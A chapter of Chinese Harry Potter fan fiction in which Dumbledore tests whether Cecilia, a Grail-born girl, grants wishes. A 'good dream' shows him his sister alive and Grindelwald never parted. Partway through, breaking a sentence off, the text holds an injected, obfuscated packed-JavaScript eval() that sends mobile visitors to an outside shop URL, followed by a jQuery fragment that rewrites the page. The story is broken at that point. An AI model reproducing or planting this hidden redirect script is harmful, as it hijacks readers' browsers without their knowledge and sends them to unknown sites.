晚餐结束以后，西西莉亚没有像往常一样回到自己的房间。学生们的声音沿着礼堂外的石廊逐渐散去，楼梯在高处缓慢转动，墙上的火把一盏接一盏地亮着，将那些正在返回寝室的身影拉得很长。她独自穿过门厅，沿着通往八楼的楼梯向上走，手里没有拿书，也没有带那本专门用来记录新词和新发现的笔记。
校长办公室的石兽像是已经得到了吩咐，在她停下脚步以前便向一旁旋转，让出了后面狭窄的旋转楼梯。西西莉亚踏上楼梯时，整座城堡似乎都在她脚下缓慢下降；等到那扇雕刻着狮鹫的木门出现在眼前，她只敲了一下，里面便传来了邓布利多的声音。
办公室已经为今晚的尝试做过准备。桌面被清理得异常干净，那些平日里会自行旋转、喷出细烟或发出轻微嗡鸣的银器全被暂时收了起来，连盛着柠檬雪宝的玻璃罐也被挪到了书架高处。壁炉里燃着平稳的火，暖光映在圆形墙壁和历任校长们的画像上；画像中的大多数人似乎已经睡着了，但西西莉亚注意到，其中有几幅画的眼睛闭得并不十分自然。
福克斯仍旧停在栖架上。它把长长的尾羽垂在身后，金红色的眼睛安静地注视着房间中央，仿佛对于即将发生的事情，比在场的任何一个人都更有耐心。
麦格教授也在。她站在壁炉附近，双臂交叠在胸前，长袍被火光勾出一道笔直而严厉的轮廓。她显然不赞成这次尝试，也没有打算掩饰这一点。
“只是一个梦。”邓布利多说。他站在书桌后面，语气平和得像是在讨论某一种并不危险的睡前饮料。
麦格教授没有被说服。“许多灾难开始以前，人们都说那只是一个很小的尝试。”
“我也在场。”西西莉亚说。
麦格教授将目光转向她，那双方形镜片后的眼睛并没有因此变得柔和。“这并不能让我更放心。”
“如果发生危险，教授们可以停止。”
“问题在于，我们尚且不知道该停止什么。”
西西莉亚想了一会儿，接受了这句反驳。“所以只做一次。”
麦格教授看向邓布利多，神情中短暂地出现了一种近乎疲惫的责备。“她说话越来越像你了。”
“我认为她的逻辑比我年轻时严谨得多。”
“这并不是夸奖你的理由，阿不思。”
邓布利多没有继续为自己辩护。他绕过书桌，让西西莉亚坐到窗边那张高背椅上，自己则站在离她几步远的地方。屋里没有画出法阵，也没有摆放任何古老的魔法器物；他们甚至没有拿出魔杖。那场面不像一次危险的魔法实验，反而更像三位教授在认真等候一个孩子回答问题，只是房间中过分整齐的桌面，以及麦格教授始终没有松开的手臂，都说明事情并没有表面上那样简单。
“准备好了吗？”西西莉亚问。
邓布利多没有立刻回答。他看了她片刻，像是在确认她的脸色，又像是在斟酌还有什么需要提前说明。“如果你感觉到任何不适，必须立刻告诉我。不要主动使用魔力，也不要试图推动愿望实现。”
“我不知道怎样推动。”
“那么就什么也不要做。”
西西莉亚把双手平放在膝上，肩背端正地靠着椅背。“我准备好了。”
房间安静下来。壁炉里的木柴轻轻裂开了一声，福克斯收拢翅膀，麦格教授的视线始终停留在西西莉亚身上。邓布利多沉默了几秒，像是在寻找一个足够轻微、不至于真正触动任何危险力量的愿望。最后，他平静地说道：
“我希望今晚做个好梦。”
话音落下以后，办公室里什么也没有发生。
壁炉仍旧照常燃烧，窗外的夜色没有骤然被照亮，藏在书架上的银器也没有发出响声。那些故意装睡的画像依然闭着眼睛，只有福克斯稍稍偏了一下头，仿佛刚才听见的不过是一句再普通不过的话。
麦格教授等了几秒，便走到西西莉亚面前。“有感觉吗？”
“没有。”
“头痛，眩晕，或者其他不舒服？”
“没有。”
“魔力有什么变化？”
西西莉亚低头抬起一只手，像是在查看一件仍然不够熟悉的工具。她将手翻转过来，看了看手心，又感受了一会儿身体里那股与生俱来的力量，最后摇头道：“没有。”
他们又等了一阵。什么也没有出现，连空气都没有发生最轻微的改变。麦格教授的神情稍微放松了一点，却远远没有到放心的程度。
“结束了。”她说。
“愿望要到睡着以后才知道。”西西莉亚提醒她。
麦格教授的嘴角明显绷紧了一下，仿佛这个答案正是她最不希望听见的。“从现在开始，在结果确认以前，你不能再接受任何人的愿望。”
“包括教授？”
“尤其包括教授。”
邓布利多轻咳了一声。“米勒娃——”
“我明天早晨会亲自来确认结果。”麦格教授打断了他。她向西西莉亚点了一下头，随后转身离开办公室，长袍下摆在门边迅速掠过。木门合上时发出一声不重的闷响，比她离开前的任何一句话都更清楚地表达了她的态度。
西西莉亚望着紧闭的门。“她生气。”
“她担心。”邓布利多纠正道。
“担心听起来很像生气。”
“这两种情绪经常会一起出现。”
西西莉亚点头，把这件事记了下来。邓布利多见状，像是忽然想起什么似的补充道：“不过最好不要写进那本笔记里。”
“为什么？”
“因为米勒娃有可能看见。”
西西莉亚认真思考了片刻。“那更应该准确记录。”
邓布利多笑了出来。那只是很短的一声笑，却不像他平日里那些为了安慰别人而露出的微笑，更接近于一种没有来得及隐藏的愉快。他没有继续试图阻止她，只拿起放在椅背上的外袍，陪她离开办公室。
霍格沃茨的走廊在夜里显得比白天更加宽阔。墙上火把的光无法完全照进拐角，盔甲在阴影里沉默地立着，远处偶尔传来画像压低声音的交谈。邓布利多把西西莉亚送到房间门口，这一次没有再说任何关于梦的愿望，只像一个普通的教授那样对她道了一声晚安。
西西莉亚进入房间，关上了门。邓布利多独自沿原路返回，在校长办公室里继续翻阅那些与圣杯有关的文献。他读过的资料已经堆满了半张桌子，其中有中世纪巫师留下的残缺抄本，也有麻瓜世界关于圣杯传说的古老研究。不同年代的人给它赋予过完全不同的意义：永生、宽恕、神迹、权力，或是一种永远不会真正出现的完美之物。可是没有哪一本书提到，一个由圣杯创造出来的孩子会怎样听见愿望，更没有人记录过，愿望实现时究竟需要付出什么。
他一直读到接近凌晨两点，依然没有得到新的答案。
回到卧室以后，他没有立刻上床。桌上还放着几封尚未回复的信，壁炉里的火已经熄灭了，只剩下一点暗红色的余烬。床边的小柜上摆着一张倒扣的旧照片，照片的边缘由于多年的触碰而略微发白。邓布利多经过时看了它一眼，却没有翻过来。
他脱下长袍，熄灭灯，在黑暗中躺下。窗外没有风，城堡深处偶尔传来管道里的水声，所有声音都显得比平时更加遥远。他本以为自己会很快入睡，然而那句看似简单的愿望却一直停留在他的脑海里。
好梦。
这是一个过于模糊的说法。令人愉快便算是好梦吗？没有恐惧、没有痛苦，或者满足一个人在现实中永远无法得到的渴望，是否也可以被称作好梦？如果圣杯真的回应愿望，它会遵循许愿者说出的语言，还是越过那些谨慎而含糊的措辞，触碰人心里真正想要的东西？
这些问题在黑暗中逐渐失去清晰的边界。邓布利多不知道自己思考了多久，等他再一次听见声音时，窗外已经不再是霍格沃茨寂静的夜晚。
梦里是夏天。
阳光从戈德里克山谷的树叶间落下来，在泥土小路上铺出许多明亮而摇晃的光斑。空气里有被晒热的青草味，也有远处厨房飘来的面包香气。教堂的钟声从山坡另一边传来，缓慢而熟悉，一下接着一下，像许多年前那些从未被认真记住的普通下午。
邓布利多站在家门前。
他低头看见自己的双手。皮肤平滑，没有老年斑，也没有那枚戒指留下的伤痕。他的胡须尚未变长，鼻梁上架着年轻时使用的眼镜，身上穿的是那个夏天常穿的浅色衬衫。门框上的木纹、窗下盛开的花，以及院墙边那一小片被踩倒的草，都和记忆中的样子没有区别。
屋里传来了笑声。
那声音太熟悉，以至于他没有立刻推门。他站在阳光下，手停在门把上方，忽然生出一种近乎荒谬的恐惧；仿佛只要他真正碰到那扇门，屋里的一切便会立刻消失。
门却从里面打开了。
阿利安娜站在门后。
她比记忆中死去时长大了一些，少女时期的苍白和怯弱已从脸上褪去。金色头发编成一条松散的辫子垂在肩后，几缕碎发被夏日的风吹到脸旁。她的眼睛明亮而平静，没有惊恐，也没有那种总是小心观察周围的神情。她看起来像一个被岁月温柔地放过了的年轻女孩。
“阿不思，”她说，“你为什么站在外面？”
邓布利多无法回答。
阿利安娜似乎并不在意他的沉默。她伸手拉住他的袖口，那只手柔软而温暖，带着真实得令人无法承受的温度。“盖勒特已经等你很久了。”
那个名字令邓布利多整个人僵住。阿利安娜却没有察觉，她把他拉进屋里，像这只是一个再寻常不过的上午，而哥哥在门外发呆也不过是某种容易被原谅的小毛病。
阿不福思正坐在餐桌边，低着头切一块面包，刀刃在盘子上刮出轻微的声响。他抬眼看了邓布利多一下，神情仍旧带着少年时期特有的不耐烦。“你总算回来了。我可不会替你继续听他的宏伟计划。”
他的语气依旧尖锐，可他就坐在那里。鼻梁没有在争斗中被打断，眼里没有多年积累的愤怒，也没有葬礼上那一拳留下的、任何人都无法忘记的决裂。
母亲从厨房里走出来，把一盘刚烤好的点心放到桌上。她看起来有些疲倦，却仍旧活着，围裙上沾着少许面粉。父亲坐在窗边看报纸，阳光落在他的膝头，神情比邓布利多记忆中的任何时候都更平和。没有阿兹卡班，没有疾病，没有死亡，也没有任何一件已经发生过的事在他们脸上留下痕迹。
所有人都活着。
所有人都在同一个房间里。
随后，邓布利多看见了盖勒特。
年轻的盖勒特靠在窗边，手里拿着几张写满计划的羊皮纸。阳光照亮了他的金色头发，也照亮那双蓝眼睛里曾经令邓布利多深信不疑的光。他仍旧像那个夏天一样耀眼，仿佛世界上所有尚未被命名的未来都在等待他们共同决定。
“阿不思。”他说。
没有指责，没有长达数十年的沉默，也没有决斗、囚禁和那座远离人世的高塔。他只是叫了他的名字，语气平常得像他们从未分开。
邓布利多站在门口看着他，迟迟没有走近。盖勒特微微扬起眉，像是对他的异常感到好笑。“你不会忘了我们今天要去湖边吧？”
“湖边？”
“你答应阿利安娜教她游泳。”
阿利安娜从他身后探出头来，认真地提醒道：“你答应了。”
邓布利多低下头看着她。她活着，不仅仅是呼吸着、站在他面前，而且在期待一个极其普通的下午。那个下午不关系世界的未来，不关系伟大的利益，也不要求任何人作出选择。它只包含湖水、阳光，以及一个哥哥曾经随口许下的承诺。
“是的。”他说，声音几乎无法顺利地从喉咙里发出来，“我答应了。”
他们一同离开房子。阿不福思抱怨太阳太晒，又嫌阿利安娜带的东西太多，最后却还是把她的小篮子接了过去。母亲站在门口叮嘱他们傍晚以前回来，父亲从报纸后面抬起头，向他们挥了挥手。盖勒特走在邓布利多身旁，偶尔用卷起的羊皮纸敲一下他的手臂，继续说着某个关于远方旅行的计划。
没有人提起更伟大的利益。
没有人要求谁去牺牲，也没有人需要在家庭和理想之间作出选择。
湖水在山谷尽头闪着光。阿利安娜脱下鞋，先试探着踩进浅水里，随后因为冰凉的水温笑了起来。她的笑声随着风飘向岸边，阿不福思站在不远处，嘴里不断抱怨她把水溅到了自己身上，却始终没有移开视线。
盖勒特在草地上坐下，把那些羊皮纸随手放在身旁。邓布利多没有靠近湖水，只站在岸边看着他们，像一个刚刚来到这里的陌生人。
“你在看什么？”盖勒特问。
“你们。”
“像第一次见到一样。”
邓布利多停顿了一下。“也许是。”
盖勒特抬头看了他片刻。那双眼睛仍旧敏锐得令人无处隐藏，只是其中没有后来那些冷酷而坚硬的东西。“阿不思，你今天很奇怪。”
“哪里奇怪？”
“你看起来像是马上就要失去这一切。”
邓布利多没有回答。阳光温暖地落在肩上，湖面被风吹出细小的波纹，阿利安娜正在远处喊他的名字。在这样一个完整的世界里，说出真相似乎是一种罪过。
盖勒特向他伸出手。
那是一只年轻、修长而温暖的手，没有因漫长的囚禁而消瘦，也没有在岁月里逐渐变得苍老。它只是停留在两人之间，耐心地等待着。
“不会的。”盖勒特说。
“什么？”
“你不会失去。”
邓布利多看着那只手。
他知道这是梦。并不是在醒来以后才明白，而是在梦的最深处，他已经知道眼前的一切并不属于现实。正因为知道，他才迟迟无法伸手；仿佛一旦真正接受这份虚假的完整，便等同于承认自己从未停止渴望它。
盖勒特没有催促，只安静地等在那里。远处，阿利安娜又叫了他一次，阿不福思则在抱怨她把水泼到了自己的衣服上。风从湖面吹来，带着潮湿的草木气息。这个世界没有死亡，没有决裂，也没有任何一个错误需要用余生偿还。
最终，邓布利多握住了盖勒特的手。
就在两只手接触的一瞬间，湖面上所有细碎的光似乎同时亮了起来。
他醒了。
卧室里仍旧是一片黑暗，窗帘缝隙间只有一点黎明以前的灰色。邓布利多睁着眼睛，右手停在被褥上，手指微微弯曲，像是刚刚失去了另一个人的温度。
他很久没有动。
胸口的疼痛来得极其缓慢。那并不是从噩梦中惊醒时的恐惧，也不是某段记忆突然闯入头脑时的尖锐痛楚，而是一种近乎温柔的伤害。梦境太过美好，以至于醒来本身成为了惩罚。
阿利安娜已经死去。
母亲和父亲也早已不在。阿不福思不会再坐在那张完整的餐桌旁，用少年时的口吻抱怨他的计划。盖勒特被囚禁在纽蒙迦德，那只手早已不再年轻，也不会在一个夏日的湖边等待他。
那个夏天没有继续。
现实一件一件回到房间里，将梦中的阳光、湖水和笑声逐渐驱散。邓布利多闭上眼睛，却仍然能够清楚听见盖勒特说出的那句话。
你不会失去。
他已经许多年没有梦见盖勒特年轻时的样子，更没有梦见阿利安娜活到比死亡时更大的年纪。那并不是一段被遗忘的回忆，因为记忆中从来没有这样一个下午。阿利安娜不曾在湖水里笑，阿不福思也没有替她拿过篮子；他们一家人从未在那个夏天如此完整地共处，而盖勒特更没有向他承诺过，他不会失去。
这是一个被创造出来的世界。
一个准确触碰到他最深处渴望的世界。
邓布利多坐起身。天边已经隐约泛白，他伸手拿起床边那张一直倒扣着的照片，将它缓慢翻了过来。照片里，年轻的阿不思与阿不福思站在一起，阿利安娜坐在两人中间。她没有笑，只是安静地望着镜头，偶尔因为长时间保持同一个姿势而轻轻眨一下眼睛。
邓布利多的指尖停留在妹妹的脸上。
一个好梦。
他的确得到了。
可愿望真的成功了吗？或许只是因为他在睡前思考了圣杯，又想起了那些早已过去的人，所以才做出这样一个梦。梦本来就会把记忆、恐惧和欲望重新拼接，用从未发生过的方式欺骗沉睡的人。理智要求他将它视为巧合，而不是急于承认某种自己尚且无法理解的力量。
可梦中的阿利安娜并不属于他记忆中的任何一个年纪。盖勒特说出的那些话，也从未发生过。那个世界太完整了，完整得不像一场由零散记忆拼凑而成的普通梦。
就在这时，门外传来很轻的敲门声。
邓布利多抬起头。敲门声停了一会儿，又响了第二次。他把照片放在床边，披上长袍走过去，打开了房门。
西西莉亚站在外面的走廊里。她已经穿好了衣服，但头发显然只是匆忙整理过，一侧仍旧有些凌乱。清晨的微光从她身后的窗户照进来，在石地板上留下一块苍白的亮色。
“现在很早。”邓布利多说。
“我知道。”
“发生什么事了吗？”
西西莉亚没有回答这个问题，只抬头看着他。“你做梦了吗？”
邓布利多握着门把的手停了一下。“做了。”
“好的梦？”
他沉默了很久，最后才说道：“是。”
西西莉亚点了一下头，像是终于确认了一个等待已久的结果。“那么成功了。”
“未必。”邓布利多说，“梦可能只是巧合。”
“和昨天一样。”
“是。”
“两个巧合。”
“两个巧合仍然可能只是巧合。”
西西莉亚略微偏了偏头。“多少次以后就不是？”
邓布利多没有回答。她站在门外，没有试图越过门槛，只安静地观察着他的神情。过了一会儿，她问：“你梦见了什么？”
“我的家人。”
“他们很好吗？”
“很好。”
西西莉亚停顿了一下，又问：“盖勒特也在那里吗？”
邓布利多的目光骤然落在她脸上。“为什么问他？”
“你收到他的信以后，很久没有睡好。”
她说得平静，只是在陈述自己观察到的事实。她没有窥探梦境，也没有使用魔法读取他的记忆；可正因为如此，这个问题才更加令人在意。
“在。”邓布利多最终承认。
“他没有和你决裂。”
这一次，那句话已经不再像一种普通的推测。邓布利多的声音变得低了一些。“你知道我的梦？”
“不知道。”
“那么你为什么这样说？”
“因为你想要。”
清晨的走廊极其安静。远处有一扇窗被风吹得轻轻震动，城堡仍在从漫长的夜晚中逐渐苏醒。西西莉亚抬头看着他，继续说道：“你的妹妹没有死，他也没有离开。”
邓布利多感到一阵寒意。
并不是因为她说对了，而是因为她甚至不知道阿利安娜的名字，不知道那场死亡发生在怎样的一个夏天，也不知道他与盖勒特之间究竟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17923610|213502||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有过什么。她只知道愿望，或者说，她知道愿望的形状。
“西西莉亚，”他问，“昨晚发生了什么？”
“你许愿。”
“然后呢？”
“我听见了。”
“你当时没有任何反应。”
“不是用耳朵听见。”
邓布利多凝视着她。“那是什么感觉？”
西西莉亚低头看向自己的胸口，似乎在寻找一个她能够准确使用的词。“这里出现了某种东西。”
“疼吗？”
“不疼。”
“像魔力？”
“不一样。”
“它有没有要求你做什么？”
“没有。”
“你想让愿望实现吗？”
“想。”
“为什么？”
西西莉亚几乎没有犹豫。“因为是你的愿望。”
邓布利多的心脏沉重地跳了一下。
盖勒特创造她时，希望得到的是一个不会背叛的存在。一个能够承载魔力、理解意志，并将忠诚置于自身之前的生命。如果圣杯仍旧按照那个愿望塑造着她，那么西西莉亚愿意回应他的愿望，是否只是因为她已经将自己交给了另一个值得忠诚的人？
可是她从未回应过礼堂里数百个学生随口说出的希望，也没有回应庞弗雷夫人、弗立维教授，或其他任何照顾过她的人。
为什么偏偏是他？
因为他把她从地下室带了出来，因为她信任他，还是因为她尚未学会区分信任、依赖与忠诚，便已经把它们全部放在了同一个人身上？
“教授。”西西莉亚叫了他一声。
邓布利多从思绪中回过神。“怎么了？”
“梦很好，但你看起来很难过。”
“好梦有时也会让人难过。”
“因为醒了？”
“是。”
她安静地理解了一会儿。“那么它不是完全好的梦。”
邓布利多看着她。“也许不是。”
“下次可以更好。”
“不。”
这个字出口得太快，也太重。西西莉亚明显停了一下，邓布利多立刻意识到自己的语气，声音随之缓和下来。“不能有下一次。”
“为什么？”
“因为我们仍然不知道代价。”
“我没有不舒服。”
“这并不意味着没有代价。”
“愿望让你不舒服？”
邓布利多想起梦中那只伸向自己的手，也想起醒来以后空无一人的卧室。“不是魔法造成的不舒服。”
“那是什么？”
“记得自己曾经失去过什么。”
西西莉亚看着他，过了一会儿才问：“如果不做梦，就不会记得吗？”
“仍然会。”
“那就不是愿望的代价。”
她的判断准确得近乎残忍。邓布利多一时无言以对，而西西莉亚没有因此停下。
“你不想再许愿，是因为害怕它会成功。”
“是。”
“也害怕自己真正想要的东西。”
邓布利多没有回答，但她已经从沉默中得到了答案。
远处传来一天中的第一阵钟声。画像开始在画框里翻身，某一处楼梯发出沉重的移动声，学生的脚步与说话声从更远的走廊传来。霍格沃茨正在醒来，而西西莉亚仍站在门外，头发没有完全梳好，看上去只是一个在上课以前来询问教授是否睡得安稳的十一岁女孩。
她不像圣杯，没有金色光芒，没有古老符文，也没有任何能够向旁人说明危险的外在迹象。可邓布利多已经无法再把昨夜的梦视为单纯的巧合。
她回应了他的愿望。
不仅实现了他说出口的部分，还越过那句含糊的“好梦”，看见了他没有说出的内容。他许愿得到一个好梦，而她给他的，是一个阿利安娜没有死、盖勒特没有离开，所有人都不曾失去彼此的世界。
直到此时，邓布利多才真正意识到，最危险的或许并不是人们会向西西莉亚提出怎样的要求。
真正危险的是，她可能会听见那些连许愿者自己都不愿承认的愿望。
“今天不要把昨晚的事情告诉任何人。”他说。
“麦格教授也不能说？”
“我会亲自告诉她。”
“为什么我不能？”
“因为在我们弄清楚以前，知道的人越少越安全。”
“保护我？”
“也保护其他人。”
“因为他们会许愿。”
“是。”
“即使你告诉他们不可以？”
“越是被禁止，人有时越想尝试。”
西西莉亚认真地把这句话记了下来。她向走廊另一侧看了一眼，像是在思考一个新的问题。“教授。”
“什么？”
“你的愿望是不是只属于你？”
邓布利多微微一怔。“为什么这样问？”
“如果别人知道，它就会变成他们想要使用的东西。”
她或许还不能完全理解隐私，却已经开始明白，愿望比一个人的名字、房间和所有物都更加贴近他自身。邓布利多缓慢地点了点头。
“是。愿望属于许愿的人。”
“那么我不会告诉别人。”
“谢谢。”
西西莉亚转身准备离开。她已经向前走出一步，邓布利多却再次叫住了她。
“西西莉亚。”
她回过头。
邓布利多看着她，心中仍停留着那个没有答案的问题。他想知道，她为什么愿意实现自己的愿望。是忠诚，是依赖，是一种由圣杯写进她生命中的本能，还是一个孩子正在用她刚刚学会的方式，尝试关心另一个人？
这些问题似乎没有一个适合在此刻被说出口。可他仍旧问道：“昨晚，你为什么希望我的愿望实现？”
西西莉亚想了很久。“我不知道。”
“是因为我帮助过你吗？”
“不是。”
“因为我是教授？”
“不是。”
“因为你认为应该交换？我希望你做一个好梦，所以你也要给我一个？”
“开始是。”
“后来呢？”
她转头望向走廊尽头的窗户。清晨的光已经完全照进城堡，雨后的天空澄澈而明亮，远处的湖面泛着柔和的银色。几只猫头鹰从塔楼附近飞过，很快消失在逐渐升起的薄雾里。
“你在门口希望我做个好梦。”她说，“我醒来以后，觉得你也应该有。”
“为什么？”
西西莉亚再次看向他。她似乎仍旧不明白，为什么一个在自己看来十分简单的答案，需要如此长久地寻找语言。
“因为你在这里。”
她说完以后，便沿着走廊离开了。脚步声起初十分清晰，随后逐渐被城堡里醒来的其他声音覆盖。
邓布利多仍站在门口。
因为你在这里。
不是因为命令，不是因为血缘，也不是因为他拥有她的忠诚。至少，他希望不是。
他回到房间，将那张旧照片重新放回床边的柜子上。照片中的阿利安娜仍旧安静地坐在两个哥哥之间，梦里的那个夏日湖泊已经彻底消失，只剩下窗外越来越明亮的晨光。
邓布利多在桌前坐下，取出一张新的羊皮纸，在最上方写道：
第一次确认的愿望。
他看了一会儿，将“确认”划去，改成：
第一次可能实现的愿望。
许愿者：阿不思·邓布利多。
内容：希望西西莉亚做一个好梦。
结果：她梦见可以自由出入的门。
他在下面空出一行，继续写道：
第二次可能实现的愿望。
许愿者：阿不思·邓布利多。
内容：希望自己做一个好梦。
结果：阿利安娜存活，家庭完整，盖勒特未曾离开。
他说出口的愿望并不包含这些细节，实现的却是更深处的渴望。
邓布利多放下羽毛笔，等待墨水稍稍干燥，随后在纸页下方写出三个问题：
任何人的愿望都能够被实现吗？
西西莉亚是否必须主动愿意？
圣杯回应的究竟是语言，还是愿望真正的内容？
墨迹尚未干透。他长久地看着第二个问题。
西西莉亚说，因为是你的愿望。
那听起来很像忠诚。盖勒特创造她时，或许正是希望得到一种绝对而不可动摇的忠诚，一种不受怀疑、恐惧和自身利益影响的服从。这样的力量可以被写进魔法，也可以被塑造成一个生命最初的本能。
可是，当她站在清晨的走廊里，说出“因为你在这里”时，他想到的却是另一件更危险，也更加柔软的事情。
盖勒特或许想要一个永不背叛的生命。
然而生命一旦真正诞生，便不会永远只属于创造者最初的愿望。忠诚可以解释她为什么留下，为什么服从，甚至为什么愿意承受危险，却未必能够解释她全部的选择。
邓布利多重新蘸取墨水，在那三个问题下面又写下一行：
如果不是忠诚——
笔尖停在纸上，墨水缓慢地聚成一个小小的黑点。
他很久没有继续。
最后，他在横线后写下了一个词。
爱？
问号落在纸页上时，窗外的钟声再次响起。清晨的阳光越过窗台，照亮照片边缘，也照亮那张写满问题的羊皮纸。
霍格沃茨新的一天开始了。